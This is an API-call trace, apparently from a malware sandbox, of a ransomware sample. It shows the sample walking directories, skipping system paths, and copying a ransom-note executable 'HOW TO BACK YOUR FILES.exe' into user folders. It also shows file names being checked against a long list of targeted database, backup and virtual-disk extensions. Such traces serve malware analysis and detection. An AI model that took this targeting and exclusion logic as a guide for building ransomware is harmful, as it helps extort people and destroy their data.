	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59b8b0 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59bcd8 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59bac0 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59bee8 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8c38 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0036.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599030 | out: hHeap=0x580000) returned 1
	[0036.329] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0036.329] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0036.329] CloseHandle (hObject=0xb8) returned 1
	[0036.329] CloseHandle (hObject=0xb4) returned 1
	[0036.330] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c9418 | out: hHeap=0x580000) returned 1
	[0036.330] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0036.330] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x2d40020 | out: hHeap=0x580000) returned 1
	[0036.331] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8053f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d8053f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.331] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.331] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="Apollon865.txt.exe") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2=".") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="..") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="windows") returned -1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="bootmgr") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="temp") returned -1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="pagefile.sys") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="boot") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="ids.txt") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="ntuser.dat") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="perflogs") returned 1
	[0036.331] lstrcmpiW (lpString1="Public", lpString2="MSBuild") returned 1
	[0036.331] lstrlenW (lpString="Public") returned 6
	[0036.331] lstrlenW (lpString="C:\\Users\\desktop.ini") returned 20
	[0036.331] lstrcpyW (in: lpString1=0x119e61a, lpString2="Public" | out: lpString1="Public") returned="Public"
	[0036.331] SetFileAttributesW (lpFileName="C:\\Users\\Public", dwFileAttributes=0x10) returned 1
	[0036.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7cc8
	[0036.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x20) returned 0x597948
	[0036.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7cd0 | out: ListHead=0x5b75f0, ListEntry=0x5b7cd0) returned 0x5b7a30
	[0036.331] FindNextFileW (in: hFindFile=0x5ca0d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0
	[0036.331] FindClose (in: hFindFile=0x5ca0d0 | out: hFindFile=0x5ca0d0) returned 1
	[0036.331] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cd0
	[0036.332] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Public", iMaxLength=260 | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0036.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597948 | out: hHeap=0x580000) returned 1
	[0036.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7cc8 | out: hHeap=0x580000) returned 1
	[0036.332] lstrlenW (lpString="C:\\Users\\Public") returned 15
	[0036.332] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public"
	[0036.332] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.332] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0036.332] GetLastError () returned 0x20
	[0036.332] Sleep (dwMilliseconds=0xc8) 
	[0036.684] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.684] GetLastError () returned 0x0
	[0036.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.685] ReadFile (in: hFile=0x120, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.685] CloseHandle (hObject=0x120) returned 1
	[0036.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.685] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.685] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8c3ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8c3ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0036.685] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.685] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.685] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.685] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2d8c3ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d8c3ad0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.685] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.685] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.685] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.685] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.685] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dca1e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dca1e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="Apollon865.txt.exe") returned 1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1
	[0036.685] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1
	[0036.686] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1
	[0036.686] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1
	[0036.686] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1
	[0036.686] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1
	[0036.686] lstrlenW (lpString="Desktop") returned 7
	[0036.686] lstrlenW (lpString="C:\\Users\\Public\\*") returned 17
	[0036.686] lstrcpyW (in: lpString1=0x119e628, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop"
	[0036.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ba8
	[0036.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x30) returned 0x5b7ed0
	[0036.686] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7bb0 | out: ListHead=0x5b75f0, ListEntry=0x5b7bb0) returned 0x5b7a30
	[0036.686] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.686] lstrlenW (lpString="desktop.ini") returned 11
	[0036.686] lstrlenW (lpString="C:\\Users\\Public\\Desktop") returned 23
	[0036.686] lstrcpyW (in: lpString1=0x119e628, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.686] lstrlenW (lpString="desktop.ini") returned 11
	[0036.686] lstrlenW (lpString="Apollon865") returned 10
	[0036.686] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.686] lstrlenW (lpString=".dll") returned 4
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.686] lstrlenW (lpString=".lnk") returned 4
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.686] lstrlenW (lpString=".ini") returned 4
	[0036.686] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.687] lstrlenW (lpString=".sys") returned 4
	[0036.687] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.687] lstrlenW (lpString="desktop.ini") returned 11
	[0036.687] lstrlenW (lpString="bak") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.687] lstrlenW (lpString="ba_") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.687] lstrlenW (lpString="dbb") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.687] lstrlenW (lpString="vmdk") returned 4
	[0036.687] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.687] lstrlenW (lpString="rar") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.687] lstrlenW (lpString="zip") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.687] lstrlenW (lpString="tgz") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.687] lstrlenW (lpString="vbox") returned 4
	[0036.687] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.687] lstrlenW (lpString="vdi") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.687] lstrlenW (lpString="vhd") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.687] lstrlenW (lpString="vhdx") returned 4
	[0036.687] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.687] lstrlenW (lpString="avhd") returned 4
	[0036.687] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.687] lstrlenW (lpString="db") returned 2
	[0036.687] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.687] lstrlenW (lpString="db2") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.687] lstrlenW (lpString="db3") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.687] lstrlenW (lpString="dbf") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.687] lstrlenW (lpString="mdf") returned 3
	[0036.687] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.688] lstrlenW (lpString="mdb") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.688] lstrlenW (lpString="sql") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.688] lstrlenW (lpString="sqlite") returned 6
	[0036.688] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.688] lstrlenW (lpString="sqlite3") returned 7
	[0036.688] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.688] lstrlenW (lpString="sqlitedb") returned 8
	[0036.688] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.688] lstrlenW (lpString="xml") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.688] lstrlenW (lpString="$er") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.688] lstrlenW (lpString="4dd") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.688] lstrlenW (lpString="4dl") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.688] lstrlenW (lpString="^^^") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.688] lstrlenW (lpString="abs") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.688] lstrlenW (lpString="abx") returned 3
	[0036.688] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.688] lstrlenW (lpString="accdb") returned 5
	[0036.688] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.688] lstrlenW (lpString="accdc") returned 5
	[0036.688] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.688] lstrlenW (lpString="accde") returned 5
	[0036.688] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.688] lstrlenW (lpString="accdr") returned 5
	[0036.688] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.688] lstrlenW (lpString="accdt") returned 5
	[0036.688] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.688] lstrlenW (lpString="accdw") returned 5
	[0036.688] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.688] lstrlenW (lpString="accft") returned 5
	[0036.689] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.689] lstrlenW (lpString="adb") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.689] lstrlenW (lpString="adb") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.689] lstrlenW (lpString="ade") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.689] lstrlenW (lpString="adf") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.689] lstrlenW (lpString="adn") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.689] lstrlenW (lpString="adp") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.689] lstrlenW (lpString="alf") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.689] lstrlenW (lpString="ask") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.689] lstrlenW (lpString="btr") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.689] lstrlenW (lpString="cat") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.689] lstrlenW (lpString="cdb") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.689] lstrlenW (lpString="ckp") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.689] lstrlenW (lpString="cma") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.689] lstrlenW (lpString="cpd") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.689] lstrlenW (lpString="dacpac") returned 6
	[0036.689] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.689] lstrlenW (lpString="dad") returned 3
	[0036.689] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.689] lstrlenW (lpString="dadiagrams") returned 10
	[0036.689] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.689] lstrlenW (lpString="daschema") returned 8
	[0036.689] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.689] lstrlenW (lpString="db-journal") returned 10
	[0036.690] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.690] lstrlenW (lpString="db-shm") returned 6
	[0036.690] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.690] lstrlenW (lpString="db-wal") returned 6
	[0036.690] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.690] lstrlenW (lpString="dbc") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.690] lstrlenW (lpString="dbs") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.690] lstrlenW (lpString="dbt") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.690] lstrlenW (lpString="dbv") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.690] lstrlenW (lpString="dbx") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.690] lstrlenW (lpString="dcb") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.690] lstrlenW (lpString="dct") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.690] lstrlenW (lpString="dcx") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.690] lstrlenW (lpString="ddl") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.690] lstrlenW (lpString="dlis") returned 4
	[0036.690] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.690] lstrlenW (lpString="dp1") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.690] lstrlenW (lpString="dqy") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.690] lstrlenW (lpString="dsk") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.690] lstrlenW (lpString="dsn") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.690] lstrlenW (lpString="dtsx") returned 4
	[0036.690] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.690] lstrlenW (lpString="dxl") returned 3
	[0036.690] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.690] lstrlenW (lpString="eco") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.691] lstrlenW (lpString="ecx") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.691] lstrlenW (lpString="edb") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.691] lstrlenW (lpString="epim") returned 4
	[0036.691] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.691] lstrlenW (lpString="fcd") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.691] lstrlenW (lpString="fdb") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.691] lstrlenW (lpString="fic") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.691] lstrlenW (lpString="flexolibrary") returned 12
	[0036.691] lstrlenW (lpString="fm5") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.691] lstrlenW (lpString="fmp") returned 3
	[0036.691] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.691] lstrlenW (lpString="fmp12") returned 5
